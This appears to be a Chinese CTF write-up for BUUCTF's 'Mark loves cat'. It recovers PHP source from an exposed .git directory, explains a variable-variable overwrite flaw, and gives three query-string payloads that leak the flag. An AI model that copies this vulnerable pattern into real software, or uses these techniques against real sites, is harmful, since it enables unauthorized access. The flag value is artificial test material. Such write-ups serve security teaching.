BUUCTF——Mark loves cat

发布于:2025-05-07 ⋅ 阅读:(57) ⋅ 点赞:(0)

BUUCTF——Mark loves cat

进入靶场

在这里插入图片描述

简单的看了一下功能点

扫一下目录吧

在这里插入图片描述

扫目录发现一个.git

下一下源码看看

在这里插入图片描述

找到个flag.php和index.php

在这里插入图片描述

<?php

$flag = file_get_contents('/flag');

再看看index.php(代码有点长,所以只留了后面有用的)

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

根据代码这道题应该有几种解法

一个一个来吧

方法一、

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

先看第一个

$_GET['flag'] === $x:该条件检查$_GET['flag']的值是否和当前遍历到的参数名$x完全相等。===是严格相等比较运算符,它不仅会比较值,还会比较数据类型。

$x !== 'flag':此条件保证当前遍历到的参数名不是flag本身。

$x = 'flag'$y = 'name'时,$_GET['flag'] === $xfalse,因为$_GET['flag']的值是'name',而$x的值是'flag',所以不满足条件。

构造payload

?handsome=flag&flag=handsome

在这里插入图片描述

拿到flag

flag{43a901d4-8f66-43df-a525-9ce47464b283}

方法二、

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

这段代码的主要功能是检查当前的 HTTP 请求中是否包含名为 flag 的参数。如果 GET 请求和 POST 请求里都没有 flag 参数,就会输出 $yds 变量的值,然后终止当前代码的执行。

在这里插入图片描述

所以构造payload

?yds=flag

在这里插入图片描述

拿到flag

flag{43a901d4-8f66-43df-a525-9ce47464b283}

方法三、

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

这段代码的主要功能是检查当前的 HTTP 请求中,flag 参数的值是否严格等于字符串 'flag'。如果满足这个条件,就会输出变量 $is 的值,并终止当前代码的执行。

构造payload

?is=flag&flag=flag

在这里插入图片描述

拿到flag

flag{43a901d4-8f66-43df-a525-9ce47464b283}

下播!!!

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到